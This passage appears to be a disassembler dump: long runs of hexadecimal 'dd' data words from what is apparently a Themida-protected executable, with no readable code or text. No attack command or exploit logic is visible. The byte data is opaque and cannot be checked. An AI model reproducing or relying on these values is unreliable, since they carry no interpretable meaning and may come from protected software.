0A541C551h, 0C8F3BE6h, 451F206Eh, 5B429E5Fh dd 0CE15127Bh, 0FCE2A853h, 105B429Dh, 0F67AAAA7h, 79AE4CCFh dd 9F0B852Bh, 0BCB65B42h, 29A3B8E9h, 33F9C3D7h, 1, 0C311AD31h dd 4017B337h, 0BB3D1DA4h, 97CCCD1Bh, 69D912D8h, 0BFB36322h dd 1E6CA139h, 22698E78h, 0B4FFF963h, 3714D005h, 3946C4h dd 114D0000h, 0B07635B0h, 6322648Bh, 48EE3CA5h, 6322645Eh dd 88A36C9h, 8ED56B68h, 36D05501h, 17F3E839h, 0D682C437h dd 0CA82C51h, 7BFD89D7h, 578C8DDBh, 0B4D25Ah, 31D90000h dd 37C311ADh, 0AF5B1AB0h, 0E5850728h, 5F619697h, 8924F9ECh dd 6F2D2A99h, 75C35FE3h, 0F2C965E9h, 4282C55Ch, 2891155Bh dd 5CDDFA63h, 696B6CBAh, 99CE59A9h, 10A82EDAh, 7DC4C1C2h dd 4605E0E1h, 259A6580h, 0C382EB63h, 0B42D9017h, 4F10FC3Bh dd 0DB572E63h, 0FAB4BE54h, 0D17543B7h, 0AE259F7h, 0B8B0000h dd 8F149067h, 21A21EF5h, 0A62CA87Fh, 34BB370Eh, 25BEC79Eh dd 350CA229h, 0C19836B9h, 4C23C345h, 0D9B04CD0h, 3117DD34h dd 4D63281Ch, 0AA313FC8h, 3DC13D14h, 0ABF98F16h, 239E75AAh dd 62CCB278h, 753B5B42h, 5B42638Fh, 0BF2842ABh, 873291C2h dd 4262DBC1h, 8986EF5Bh, 0EB39D559h, 683FDB5Fh, 3ADDAh dd 49B45500h, 0EBAA3B86h, 5E1EBC3Fh, 0ECED3BDDh, 0FEFAC0EFh dd 9263280Fh, 0AC15F529h, 7FB47A39h, 916B0832h, 4A34DA28h dd 0C05B47F2h, 0C4509E3Eh, 0CD58A63Eh, 47F22107h, 0D8D43D5Bh dd 9E647342h, 5B47F2B8h, 6B366BD4h, 66732271h, 0B4C3D29Dh dd 31Dh, 632D17BBh, 0AE895B42h, 0FC5B4263h, 9B6120C5h dd 6322901Ah, 21030D76h, 16754166h, 0A069E3Ch, 0E7670000h dd 6BF06C43h, 0FD7EFAD1h, 8208845Bh, 109713EAh, 499AA37Ah dd 11E87E05h, 9D741295h, 28FF9F21h, 0B58C28ACh, 0DF3B910h dd 2163281Dh, 0AD31139Ch, 8D38C311h, 4262E1C7h, 9794FD5Bh dd 0AC6B7A47h, 280FEDE6h, 471E8763h, 10CF16ABh, 0DBC554Ah dd 0FFBE276Bh, 0FCA8D053h, 19FFD97Bh, 8F5B4263h, 20216F0Bh dd 91689D06h, 426439FBh, 0B6398F5Bh, 0E8D609F7h, 0BF30B856h dd 0B910F1BDh, 46439636h, 620083FFh, 68048814h, 62E38F1Ah dd 747172C0h, 89489D24h, 0B43556DDh, 8EC3C412h, 0BF9C6291h dd 0D1632272h, 45985E68h, 0D5AF7541h, 95337h, 0F69A1A00h dd 841EA31Fh, 0EB031ADh, 9D35BB37h, 2DC34AC6h, 0B8964D56h dd 48C49B31h, 0D45027C5h, 5FDBB252h, 0C3683FDBh, 1CC0A66Ch dd 57DC6328h, 35B011CEh, 0FBBB076h, 6CD56328h, 0E07E01ADh dd 0CAB07621h, 0E663280Eh, 0BD39807Dh, 31DD9C3Ah, 581613ABh dd 0BE4515ACh, 0A4D9DA28h, 0BC261FE5h, 0F9626B0Dh, 23C2FFABh dd 8EED9E64h, 2E976322h, 41615424h, 0EB896375h, 8D8h, 9A711595h dd 28FF991Eh, 0B2892BACh, 4118B036h, 0D1A83EC5h, 0AC331BC8h dd 40C33F16h, 0CD4FCBA2h, 56DA562Dh, 0E73EE3BAh, 281E3B21h dd 41CA4F63h, 486AD31h, 9C836264h, 0A87CCBC3h, 15992573h dd 0EA442B79h, 0EB870B9Bh, 32627714h, 7AB8C3D7h, 0BF000001h dd 0EF68B011h, 0DEC48A79h, 0F25B433Fh, 0BA1A8789h, 0A96F2E63h dd 6322998Ch, 5EE937A0h, 8B07EDB3h, 0BA236322h, 8B8973BDh dd 0FAF46322h, 3ADDFAABh, 423BC437h, 44000001h, 2A781498h dd 4C81179Eh, 6D6A0A8Ch, 11AD313Ch, 8CB337C3h, 20216F05h dd 0BB812CEBh, 5B4262D5h, 3C8380E9h, 5C421A0h, 63AE945Ah dd 991C5B42h, 7B78E1FBh, 6A4D864Ch, 0BE276322h, 68E0CA70h dd 514B6322h, 48C97502h, 358A9A6h, 99C43714h, 41h, 35B011A0h dd 648BB076h, 3CA56322h, 0F2B863EEh, 6322640Ch, 0FA52C20h dd 0CB8BC0C1h, 5C5DAB47h, 642B155Fh, 3966322h, 0EAB0D057h dd 63226404h, 7D7AAF18h, 0E8ED9CE7h, 2EC43717h, 89h, 11AD3135h dd 8FB037C3h, 0EA386D0Dh, 0F03EDA5Eh, 8544E064h, 6A3054D9h dd 5B426384h, 0ACFA2F98h, 0D167AEABh, 5B427F22h, 5128C448h dd 1AD90CB5h, 25393954h, 0FCE3763h, 6F46DC63h, 0CCD66CF3h dd 7543EF7Ah, 6DD97751h, 7, 8905DC80h, 17936A04h, 0A11DF496h dd 30AC831Bh, 333C13A9h, 81179EB0h, 0DAB2EAAh, 9838BA36h dd 25C145C1h, 8C52A94Eh, 63281FA6h, 31AC35BAh, 0A95514AAh dd 468D8A24h, 0D3AA46CAh, 11AD3156h, 17B337C3h, 0A8BC6A58h dd 0FAB96FFEh, 42884E34h, 0C4F9625Bh, 43F280C7h, 6F000000h dd 0A3A042C3h, 5518B472h, 4767EE6Ch, 42639B81h, 1146AF5Bh dd 0CE8DC2C3h, 6039D22h, 101611D7h, 0F15A6328h, 0DE784432h dd 84CAEF4Eh, 0B5A6E387h, 3BFAEBD6h, 0D437B75h, 5A8EF76Bh dd 3E88h, 44320300h, 0F4BF8107h, 3C8C89FAh, 0F6A16085h dd 2D2AC64Ah, 231A76E3h, 0F2B11A63h, 0ACB91A04h, 6663DF50h dd 191702A8h, 0C8CE6323h, 0F1F4CDFDh, 9DFF6C32h, 28915B41h dd 0A1C351h, 113E0000h, 0B07635B0h, 63280FB3h, 0E99554BDh dd 7A7BC965h, 42195A7Dh, 84136260h, 69B755D8h, 3D1A6B68h dd 5BC432BAh, 6Bh, 35B01162h, 9A1FCB76h, 0BDB90300h, 0D163280Fh dd 0E774B568h, 0C7F6BDBBh, 0C432BA92h, 4A08h, 0E1651100h dd 64028545h, 86323667h, 1A1B69FFh, 0F1F4CD1Dh, 0DC018632h dd 0C988BD57h, 42631D03h, 0CBC8315Bh, 0FDBD69Ch, 4CB56328h dd 0A32AD699h, 0F863100Dh, 0A8D9ACAAh, 0C432BEB3h, 0CDD85442h dd 0F87BCEh, 0D7B03h, 17820000h, 5B427F02h, 0FF249163h dd 320CFFFFh, 38906E44h, 96562A4Dh, 28787513h, 0C78D4C99h dd 6328859Eh, 570351BAh, 11BC7B6Ah, 36BBE065h, 184D4E9Ch dd 0E9D7D11Bh, 620E6B0Dh, 9EFB5E1h, 255B42D9h, 383987BCh dd 0FA48B13Bh, 0B372734Eh, 2885C8EDh, 3CFB6463h, 9A710B90h dd 6322C3FEh, 0DEAA89Dh, 0C933F6Bh, 0FF28A7A9h, 86BBFC62h dd 0B03A3738h, 311F7BDh, 3A2D5B43h, 43038E74h, 439A25Bh dd 0E26410CFh, 6D30F575h, 0BEF347CEh, 3FC06CE7h, 0A156A09Dh dd 0B5F369B9h, 42BE9531h, 28D422BEh, 0A23CC199h, 8102AE6Dh dd 939091DFh, 620EB964h, 836943DDh, 0F2F36863h, 6863462Ch dd 0D7F15AF3h, 3E9AF6Eh, 17F36863h, 8667B1AEh, 0A2FB487Fh dd 753BEB39h, 801CA02Eh, 0C8402EA9h, 41C60622h, 346FFA60h dd 72A7FF0Ch, 44922EB2h, 94164643h, 6F1BA6F4h, 255552E8h dd 9B4706A0h, 2B2C7A18h, 4D4AE86Bh, 0A34F0E8Fh, 0EF858220h dd 0F49416A4h, 7F1FA11Dh, 7A352831h, 830F5DF3h, 64146200h dd 752D79Eh, 1D03C974h, 31FB0920h, 2092783Eh, 45AEFB09h dd 367D1310h, 0C78626A8h, 0D4BE94D9h, 0B5B22FC1h, 5A48F36Eh dd 0F6FA3DC0h, 3D23FD62h, 0ABFB093Dh, 7708A28h, 0D725C547h dd 11A8D9D6h, 5DE836B1h, 418F2FB1h, 8F134340h, 47DDA5F3h dd 0E8744E7Ch, 0BD94C963h, 6E21BD41h, 3F162F2Dh, 78750D93h dd 7F0393E2h, 6AEFAFE3h, 0F6DC82D0h, 405B4262h, 169B2B7Ah dd 0A729A57Ch, 2A13B907h, 0A05B4263h, 0A42F7D1Fh, 4262F8DEh dd 0EBAB145Bh, 1DB93D6Ah, 4B99CECFh, 0D79C3EBFh, 547F82D1h dd 903C4B1Ah, 0CA60E70Ah, 0F8467B7Ch, 8C7238F7h, 0A05B4263h dd 880A3A37h, 0DA7B11E8h, 5B5B4283h, 0D7325C7Ah, 0FF75BCC3h dd 31C3FFFFh, 0F7AD44ADh, 0CD9AC8F9h, 6562480Eh, 157E5B42h dd 98D09E0h, 65371DE3h, 60535B42h, 4265B49Ah, 2A5FC85Bh dd 0FA7E42F5h, 0FCC2AB5Eh, 0F99519A9h, 14F7E4C5h, 4C25C3D7h dd 2E000000h, 8F5B1740h, 0D5D28EA9h, 35B011A4h, 0DCDDCB76h dd 33D55663h, 2CE2E4E5h, 44E4B7Ch, 6328700Ah, 296A1D86h dd 4AF65533h, 0DBDC2AC6h, 4D7D48DEh, 0ECB27174h, 6B0DDBF2h dd 1FF1258Eh, 52h, 452BF19Ch, 595B42C3h, 11C2F3F0h, 94BE68B0h dd 6A99AFF8h, 4270BEA4h, 3469D25Bh, 807A40FFh, 0FC63281Dh dd 45D4309h, 45CB6328h, 6B2A93ADh, 2803BFA5h, 3D72DB63h dd 9E10498Ah, 3C853580h, 933FEAA9h, 23247210h, 0B0E2DC26h dd 359E6B0Dh, 44324001h, 7F140092h, 0C7F7F47Eh, 0CD59A743h dd 3AD6AD49h, 0F49F5E87h, 4285482Eh, 0FEFB645Bh, 8BD009CFh dd 5C076322h, 2287B096h, 52D8CC63h, 366B6CBAh, 0F846AF39h dd 22876852h, 0C157DE63h, 0C664E773h, 4127ED78h, 5D632287h dd 5A292FF4h, 0CD790CD7h, 69F0B046h, 7540D6D3h, 37361744h dd 4185C4h, 118C0000h, 0A8D268B0h, 0A5A5832Ch, 1D52871Fh dd 7E73985Eh, 1A0D6322h, 7AC3A96Fh, 6ED76322h, 227BAE94h dd 768CC263h, 6583B0E1h, 80CE0338h, 22ABF0DAh, 12615B63h dd 375F7663h, 0DBA4C4h, 31AB0000h, 38C311ADh, 0C5F0E54Ah dd 0E8E5C1A0h, 4D9B31B8h, 53A13DC1h, 0D0A743C7h, 42971B3Ah dd 6F0B8F5Bh, 0AC721D98h, 5B428DC6h, 0C311B334h, 423FA8C2h dd 0A4F28E12h, 0E692C9F8h, 3E9C365h, 175B428Eh, 0FBA79AEh dd 9537B864h, 428DD5BBh, 8380E95Bh, 22B1E839h, 0A47BE463h dd 6D2CB908h, 0E288667Fh, 504DAD46h, 5CB7621h, 63235A1Fh dd 29D0D23Bh, 3D0685E9h, 0A3C40E0Bh, 0AD6B05FFh, 2FDA8544h dd 44BF8369h, 312E975Bh, 0DE47A01h, 6A740A91h, 72A316C2h dd 1811FF9h, 6C000002h, 0F57148ECh, 83FFD670h, 0D896002h dd 9C18EF87h, 9FA87F15h, 0ED830A44h, 79179A16h, 4A426A2h dd 912DB12Dh, 0F8BE15BAh, 63282512h, 3120A92Eh, 0C13D14AAh dd 36E2A13Dh, 0D41B18B0h, 35B01157h, 648BB076h, 3CA56322h dd 645E48EEh, 0CFC96322h, 0A04CF784h, 0C1A7811Bh, 37632263h dd 0CACB19B1h, 9C38BCB0h, 58184D4Eh, 0E9EA38D4h, 17BE9BECh dd 0FBDCC437h, 0E3000000h, 9B008632h, 0DFC68802h, 726FA487h dd 0D422BE42h, 1DA0C148h, 0FB30317Fh, 20BD4E3Ch, 0ABCA33F5h dd 0A7ABA34Bh, 9A97CC77h, 0E0A651DCh, 5B4351FAh, 51C5AB71h dd 70D95B43h, 45DB6256h, 0C4C1F6F7h, 43575B7Ah, 2FCB4F5Bh dd 0A242C470h, 1D03C954h, 315B434Eh, 29193C8h, 0D5DCAA77h dd 2CA7EEEBh, 9D5DFF80h, 4F7F7C1Ah, 35E12FCBh, 0D49A598Ch dd 6322CF83h, 0B14D248Dh, 5016D510h, 6B0586D0h, 0E8A005F3h dd 0EB39D75Ah, 191CE8EAh, 37A02A27h, 75DFCD78h, 482EF48Ah dd 645B4559h, 13A1F9FBh, 32B9E9E6h, 0C249C59Ch, 0D134222Ch dd 290372A3h, 0D38Bh, 761A9A00h, 49E239Fh, 8E30B12Dh, 1DB53BB7h dd 0AD43CA46h, 3816CDD6h, 0C8441BB1h, 54D0A745h, 0DF5B32D2h dd 43E8BF5Bh, 264026ECh, 0D75C6328h, 47AA314Eh, 6AAA330Eh dd 0DE419D1h, 0B2710D91h, 0E8E58306h, 0AD3124A1h, 0B337C311h dd 40C44017h, 0CD51CDA4h, 7A3DE331h, 0B465E3D4h, 0C347571Eh dd 29D55027h, 0C0083BA6h, 1527AC0h, 807D7ECCh, 0A263CC50h dd 5DE2E67Ah, 0F13FD95Eh, 3886BBF0h, 408E26ACh, 410733B4h dd 65E4265Bh, 83D1066Fh, 15D575F7h, 1AA5F393h, 0E4266E54h dd 0FE198265h, 684CD1A4h, 0D6C4D3A2h, 0AE0536CDh, 0EC4D067Dh dd 319F0CE5h, 4BCFFFFCh, 0D85CD8AFh, 1150EE3Ch, 0CB000000h dd 98038632h, 435DB3A1h, 0D52358A7h, 2B78D7D4h, 0BF0DB131h dd 0C513AF33h, 0C917B739h, 0CE1CBA3Dh, 0D725BB42h, 0E02EC44Bh dd 0E836CE54h, 0EB39DB5Ch, 0F240DA5Fh, 6C6D6863h, 34890000h dd 6D246824h, 2C890000h, 0E0895024h, 405h, 42D00h, 4870000h dd 4895C24h, 0AEE66824h, 2C8B07E5h, 4C48324h, 24048B54h dd 4C481h, 50570000h, 0C789E889h, 8788958h, 2434FF5Fh dd 4C48158h, 8B000000h, 8951242Ch, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 8385E95Ch, 0D0A9FFFBh, 51F4585h, 0C618759h dd 0B80B5931h, 7E5C461h, 0E0FFC503h, 257B9645h, 64F252BAh dd 14C6DAFDh, 3C4DF6E6h, 6F44BF94h, 3A6D5E2Bh, 2B3EB46Eh dd 4F4D7AB9h, 2A7103C7h, 4BC54866h, 4E3E43E8h, 283522D3h dd 3F5AF123h, 19B61AD8h, 8AA61A0h, 6562B1A8h, 573C1425h dd 3FD40C8h, 175D2DBCh, 86027CAh, 198B1F48h, 3E053928h dd 705F7ACBh, 1058863Ch, 598A610Ch, 655D5F82h, 6C1BBC4h dd 21B98580h, 526BD069h, 1CE9h, 82155D00h, 0E7339C14h dd 77h, 4 dup(0) dd 0D6CE900h, 31680000h, 0E907E5C7h, 0FFFABB57h, 0E5C82068h dd 0BB4DE907h, 7B68FFFAh, 0E907E5C9h, 0FFFABB43h, 0E5CAD968h dd 0BB39E907h, 8968FFFAh, 0E907E5CCh, 0FFFABB2Fh, 0E5CE7768h dd 0BB25E907h, 0EA68FFFAh, 0E907E5CFh, 0FFFABB1Bh, 0E5D14868h dd 0BB11E907h, 0DF5FFFAh, 80673953h, 0F7DCAEC8h, 6A53253Fh dd 0E4C698B2h, 12BB102Ah, 67813B1Dh, 0DDF7B195h, 5670280Bh dd 0CAE49E84h, 0D5DCFFEAh, 0A121D4DBh, 0ED19582Fh, 0E15E9854h dd 0B8F9F46Bh, 0BE21D4A1h, 0C643656Bh, 0A14D6487h, 0D62929BAh dd 2FF0D6D0h, 0EBA58746h, 3F44EFE6h, 9A989D48h, 0B4E0FAB4h dd 95B8CF6Ch, 2E5AA769h, 0F5AF95EFh, 0FDA86043h, 9AFCB1F8h dd 0B99F21DAh, 16FCFAFFh, 0AFE4575Ch, 0B4FF0F52h, 3439F1DAh dd 6DC2373Dh, 3BF3DCB6h, 0E0F32F35h, 311C53D4h, 66000000h dd 4C06ECC6h, 0F64A5047h, 0C1D062Ah, 0E8A75799h, 29D47F2Dh dd 0CC03EF12h, 2A7D2E59h, 0CBCFDE25h, 0D6E21D9h, 3F2C5AB0h dd 0DA4753D4h, 91000000h, 868B452Bh, 0E7ECA688h, 444903E9h dd 8CA66046h, 0BAA56D71h, 692A1029h, 8EB1C880h, 29BA9D23h dd 465D085Bh, 0C7CB836Ch, 0FF22AB24h, 22848A3Fh, 0ABB06A50h dd 576ECD53h, 0DCE29A7Dh, 0FB685A7Dh, 94EE2E59h, 2F49F4AEh dd 71E1D03h, 4708EEC8h, 0F9FEA963h, 0FE4F2CA9h, 0B05B7F28h dd 17E867AAh, 0FB4E2678h, 6E280AE4h, 0D6C7269h, 456C8FCEh dd 3129B7E8h, 8B36EED7h, 0EFA98B85h, 3C5F9ED5h, 29B7E775h dd 33AAAE01h, 0E7A4FD4Eh, 5E7E1E7h, 4272724Bh, 0A68FE610h dd 0B0778h, 0BA745C00h, 2FE7CEA0h, 0A65E4315h, 19D1BA8Ch dd 914B2DFFh, 84B92277h, 0FCCEE8A2h, 72445E18h, 0EBBDD78Fh dd 51314B05h, 0DA6E4366h, 960821D4h, 8F492BFCh, 0FCBDA375h dd 96B05B13h, 0E69AC69Ch, 49931848h, 749CF0F6h, 0E2C6A0B7h dd 262C2328h, 0E64EA4C7h, 8E682E59h, 86E9EEA8h, 0D9E64E63h dd 2AD52821h, 0ADB20524h, 0D9E64766h, 3895F621h, 0D451A4E2h dd 0C6CF53h, 2DC0000h, 3E606620h, 868B452Bh, 0E7ECA688h dd 8F224584h, 0E729BAA0h, 934B8E94h, 0A29BAA5h, 0F2BD1124h dd 6A8419CDh, 0EDD3A5BFh, 4AD62E33h, 0FB3D6EDh, 892E5984h dd 0E48F492Fh, 0D3B993CAh, 171D1419h, 0C7DE5DC3h, 3EDE109Bh dd 90FFC8Ch, 0A3D787AAh, 0B5E12677h, 45E8565Eh, 0B87055DFh dd 95E8070Dh, 8C2A47Eh, 803A1CEEh, 10B0BDA7h, 0B7E5CEE6h dd 0A18h, 8FA9634Bh, 41ED6BDh, 7B954D32h, 0EE08C0A9h, 66803A1Ch dd 9173A811h, 7EBBDD7h, 7E61334Dh, 0F4DAACC6h, 5540203Ah dd 0D4D87F32h, 0EB85F721h, 4D6487C6h, 2929BAA1h, 0F4D6D0D6h dd 0FE9203Ah, 746E742Ch, 6C45688Eh, 1229BAA1h, 0FA14BFh dd 868B452Bh, 0CEE8A288h, 0AAC17EA2h, 5AB77787h, 0A9AE012Eh dd 0DA8B4C62h, 0B26A4F21h, 0EC6AFADh, 89E61309h, 0BFEB3646h dd 3A96FDB8h, 32A7AD0Ah, 0B4437FDDh, 536C53D4h, 0B6000006h dd 0D9F04FD1h, 5AA3A0B6h, 0BEC3162Eh, 770F2F5Bh, 0E7EBA589h dd 0D13ED8Ch, 0DA6BE3CAh, 17CFB821h, 76301412h, 0F14E7B71h dd 0E03D9EAEh, 0D4D35C8Ah, 61C7753h, 0D1C10000h, 0B6D9F04Fh dd 2E5ABA9Ch, 67CACF22h, 86AC0528h, 7FD221DAh, 86773679h dd 65C621DAh, 0FC74B208h, 0EAC453D4h, 0C2464C06h, 5EEh dd 379AC60Ch, 0B0AD6987h, 0E75ED0D6h, 9FB6759Bh, 59DEEA7Ch dd 6E522C2Eh, 0E08C2548h, 9FF221D9h, 698CEFF4h, 21D9E148h dd 2A30DB2Eh, 1C03B80Bh, 9DCEC7BAh, 31A1907h, 64A4CEE0h dd 0AA8E68A2h, 0EEF4EBF0h, 14777CCFh, 989E583Ah, 485FDC44h dd 44D1A025h, 0ACC316A2h, 1832ECD2h, 0CDA66046h, 720408E9h dd 0BDE715FEh, 0A6000008h, 18EA04BEh, 8D5F7931h, 4D6F0A8h dd 7749631Bh, 6CC1DB95h, 32ECCE43h, 0A8624618h, 21D9BC8Eh dd 954F3507h, 8DB09B7Bh, 21D4D824h, 2B4EE85Ah, 63451F45h dd 0B2ADA4A9h, 29BAA0FFh, 62792477h, 5D80A688h, 29BAA154h dd 7A2CD72Ah, 0E1D8DD95h, 0EA368EDBh, 5713364Dh, 912E5F63h dd 7409243Eh, 2E21D4DBh, 0C68066F0h, 3B9180ACh, 167F37AFh dd 0D7EE9995h, 5D621AFDh, 0DE016066h, 21D543DBh, 5D5B60B3h dd 88A3BD77h, 21D54415h, 5C7FA386h, 21D54455h, 923CE21h dd 92975137h, 5FF4624Bh, 0F35005CEh, 0F209C3A9h, 7B28D1C6h dd 0A185E559h, 7218894Ah, 371ED07Bh, 0E017797Fh, 63692106h dd 0B2C98369h, 7F014773h, 893A062Dh, 0A017238Eh, 2085B31h dd 273F6EB5h, 735C31A0h, 0CFB8B6BBh, 691B1217h, 0CEC4C983h dd 57014CA1h, 965C1440h, 16588372h, 0F4469B10h, 383A540Eh dd 16Ch, 8B452BCEh, 0FDB59A74h, 0AEFB01F8h, 1015CDB0h dd 0AE946EADh, 0FDF8EFF4h, 29BAA0B4h, 2E7177CAh, 29BAA083h dd 40F8E1BBh, 443E443Bh, 3C9FA45Eh, 0BFC47E62h, 0A26EC2C8h dd 1F4B6E85h, 192E5F64h, 333D7BEDh, 2A2ECB69h, 318DBAA3h dd 7D9CA2C0h, 9A73512Ah, 0A38CEDF3h, 75F75h, 621C0400h dd 0D78F7648h, 4E06EBBDh, 0C1796234h, 39F3D5A7h, 2CE1CA1Fh dd 0A476904Ah, 1AEC06C0h, 93657F37h, 0F9D9F3ADh, 0D6C6EB0Eh dd 3EB021D4h, 8B452BA4h, 0ECA68886h, 651D00D2h, 0D993794Bh dd 510BEDBFh, 87AAE94Ch, 29BAA12Ah, 1FB0154h, 0DBD6F91Fh dd 0A329BAA0h, 38A0A550h, 9E392EFh, 15656A22h, 760271C8h dd 6B1C5h, 7E632406h, 731ED6BFh, 92D0AEC8h, 0BD543466h dd 25h, 6487C607h, 29BAA14Dh, 6A476A29h, 1429BAA1h, 0E61016C1h dd 0C3h, 9BF0133Fh, 68F2EC0Eh, 1C22CD85h, 8B452BFAh, 0F9B19A74h dd 4E5FA6F3h, 5529BAB1h, 9DC0FF3Eh, 29BA9114h, 951C176Ah dd 0E129BA90h, 0BE13888Eh, 9B73866Ch, 2CD7A362h, 0B98BA550h dd 0B6191ED6h, 0ADAB838Ah, 0BDE0583Bh, 29BA07F4h, 868C378Ah dd 0BA086B43h, 944E3229h, 5D113F8Fh, 0C946C64Dh, 73783017h dd 44F3507Dh, 0BA079021h, 0E893E629h, 0A5F74C01h, 0F6F00AC2h dd 8B90482Bh, 0B26C4E28h, 17CFB2ACh, 8A442600h, 3B888E85h dd 7E358AD3h, 53352952h, 656B727Ch, 0B6D0886Bh, 0B9DF8F9Bh dd 4E08EE29h, 24BAE5A3h, 0B9F85434h, 0B9D71B96h, 24096329h dd 37BBC16Ch, 0FFFFFE51h, 2CCFB81h, 2B910000h, 3F868B45h dd 29BAA15Eh, 0A7F14E0Fh, 6836AEC1h, 66F3D300h, 58852C4Fh dd 9EF129BAh, 2107D9F3h, 0D3FF6267h, 577FE6CFh, 8FD2D8D8h dd 29BA110Eh, 0C8CD876Dh, 6C83A070h, 0B26A532Dh, 1D04B6ADh dd 4E1C5F65h, 882E5ED3h, 5F845C35h, 0B8A1EDF3h, 5AF8Ah dd 12CCB400h, 873F26F8h, 0FEB69B6Dh, 712912E4h, 0E9A38557h dd 0DC517ACFh, 542640FAh, 0CA9CB670h, 43152FE7h, 0A989A35Dh dd 0D5169BBEh, 0EE6021D4h, 1F452B54h, 0BAA0B5FCh, 0C36EC129h dd 8AF680ACh, 0A95626E0h, 765856A3h, 0EAD0A2BCh, 62441630h dd 0C3A5A3A8h, 775E1D02h, 18C3BABFh, 990E9714h, 20CB1248h dd 156AB31Bh, 3D20E1C3h, 9F19912Ch, 16C1FC3Eh, 3773516Bh dd 605434D2h, 1F6h, 834ED1AAh, 0BAA15160h, 2FDA2D29h, 0B39BC72Ah dd 0DB25DBFAh, 7269ACB2h, 8FD7540Bh, 4F7BD12Eh, 68AADA4Ch dd 1CEh, 0E7BC4975h, 5E621C00h, 0BCC2473Fh, 8ECC69Ah, 1B99C4Eh dd 0BD78A7FBh, 0A12E83A6h, 0F54829BAh, 5F32A9F0h, 44FD754h dd 898E482Ah, 0BA178C92h, 0DA182664h, 19451AAh, 325E0000h dd 0A302B838h, 520AEF8Eh dd 0C67FA1A7h, 0A14D6487h, 0D62929BAh, 98957CD0h, 921F4281h dd 1129BAA0h, 479A712Bh, 0F6BFE241h, 9029BAA0h, 0FBD5383Dh dd 175A6018h, 0D7545EC4h, 0ED43A001h, 0AADA18B1h, 14DDAh dd 4ED12400h, 4247FFE8h, 6689A04Bh, 29BAA153h, 8CD3D82Bh dd 0D7545F4Fh, 5AB00D6Eh, 0AADA182Ch, 12947h, 947A5400h dd 5F85D5DAh, 66068772h, 0C6E8EE99h, 868B452Bh, 0AC644923h dd 0B0AAB0A7h, 0CAF610CAh, 0AFD2E946h, 2E5AA74Fh, 2A7176C9h dd 21DA9A83h, 0A60459BAh, 53D4E078h, 2093h, 4FD1DD00h dd 3CB6D9F0h, 0C22E5AA0h, 8A236A6Fh, 0B321DA9Fh, 639FFD52h dd 8C53D4EBh, 85h, 8B452BD6h, 0FFB79A74h, 0CCAEACF9h, 290F0D12h dd 866C6A6Fh, 4797B2CCh, 0B629BAA5h, 0D0FC16D0h, 0A9CCE340h dd 2E581453h, 99D33D69h, 8557028Bh, 0F60D607Fh, 66803A1Ch dd 1FF8B294h, 0EDF0A65Dh, 0C157856Eh, 0A2000003h, 14E600BAh dd 895B752Dh, 0D2ECA4h, 73455F17h, 68BDD791h, 2EE8CA7Fh dd 0A45E4214h, 1DD5B88Ah, 914B3103h, 89AC9777h, 21D4D328h dd 2B42DC4Eh, 0A3758F49h, 6119FCBDh, 0A0BA655Ch, 0AECC6A6h dd 0A3A86049h dword_5A9668 dd 0FEFC01ACh, 675E631Bh, 0D6BCB6BCh, 73783015h, 0CECCD17Ch ; DATA XREF: Themida_:00561B69o dd 0F9142EE8h, 29BAA0B5h, 0BB9E828Eh, 0C628FF03h, 0C7C27406h dd 4CE2051Ch, 0EA2E5AA2h, 0E2052910h, 21DA99CFh, 0A4A954A7h dd 3588A7ADh, 452B211Bh, 0A288868Bh, 7EA2CEE8h, 7787AAC1h dd 12E5AA7h, 4B62A9AEh, 5021DA9Bh, 0B1AFB46Eh, 1A1015CFh dd 3AF490EDh, 0A0DA0413h, 41A2B25Dh, 7F508EECh, 277B53D4h dd 88000000h, 0D12CCAEh, 0D1EE1016h, 0B6D9F04Fh, 2E5AA03Ch dd 236A6FC2h, 21DA9F8Ah, 9FFD52B3h, 53D4EB63h, 0DE8Ch dd 452BD600h, 0A688868Bh, 7396D5ECh, 29BAA13Eh, 92DFE538h dd 0EFF4AE94h, 13CBB28Ch, 1711170Eh, 425D7731h, 29BAA59Ch dd 0D0619FFh, 0F4E837E5h, 28FA14BFh, 0E49C8142h, 34DC3439h dd 69BDE0F7h, 0DF2E59F7h, 656A2205h, 0F649686Eh, 9B79A5DCh dd 0B962C3C4h, 0E59F8335h, 8FE3E9E0h, 688BA281h, 2677E68Eh dd 0A47E95E8h, 262EAFC2h, 31AF0A18h, 0B879A30Eh, 0DD88DB29h dd 5C411B32h, 6A3C9EA4h, 0B9F5CE88h, 4EE61031h, 24E3765h dd 2D150000h, 0A0875973h, 17FCCEE8h, 8A73455Fh, 4E6B8D2h dd 0F2DB304Ah, 87A15B3Dh, 0FD17D1B5h, 7690482Bh, 0EA04BEA4h dd 0B5FC1F0Ah, 0C121D4D1h, 492BB54Fh, 0BDA3758Fh, 0B66119FCh dd 102739Fh, 4C6EE23Ch, 0DADE03FBh, 343A974Fh, 0DCC19BD2h dd 0D1FC1E24h, 0B6D9F04Fh, 2E5AA03Ch, 9E5B5682h, 0FBD6A8F5h dd 0A9AE6649h, 3A8DACB2h, 0A3624923h, 525702BAh, 0DC7A95Bh dd 3A73BA07h, 6121DA82h, 0BFBDC27Ah, 201E23DDh, 877E833Bh dd 1053B0DDh, 0C689B500h, 1F2AF854h, 0F350BD24h, 0EC97A300h dd 651C71E6h, 0E2557839h, 757B7578h, 0D4E6336Fh, 0F05C53h dd 8F690000h, 5008EBAAh, 0C67D9FA5h, 4B5109ECh, 5B586B51h dd 2A8AF545h, 815B721Dh, 3BF3DC9Dh, 8E943F36h, 0A7614341h dd 0EF835BA2h, 14FA29B9h, 8469435Ah, 2D64C6CCh, 0AEB36D53h dd 0D1B7B1B7h, 0C6712910h, 34ECD5AFh, 8789E12Eh, 106BEA1h dd 25485F0Ah, 2E59D001h, 43930B37h, 0F978C59Bh, 191D909Ah dd 0E3E9F27Eh, 651518C4h, 68DC3F33h, 0A977A3BDh, 0B299738Ah dd 0A96148FAh, 0C60544A3h, 0DA4D0EA3h, 0F156821h, 77C38BCCh dd 8198EB26h, 0F10BC5A7h, 6D3E8EBAh, 0DE20CB48h, 42FCDED8h dd 105B3369h, 0B5E3CCE6h, 0F0h, 0B7D18B73h, 2C46FEE5h dd 0A3BD755Ah, 1630E8D1h, 8EA86244h, 0B99B9039h, 2F13E5FFh dd 0A6895B75h, 1C02D4EEh, 7D684862h, 0D4D0575Ah, 13AD1F21h dd 758F492Bh, 1AFCBDA3h, 4D645B60h, 0BAA0872Ah, 0F19CEF29h dd 452BDDD7h, 0A288868Bh, 6B97CEE8h, 1B895FB5h, 22767C63h dd 72A41FEh, 2E5E6D5Fh, 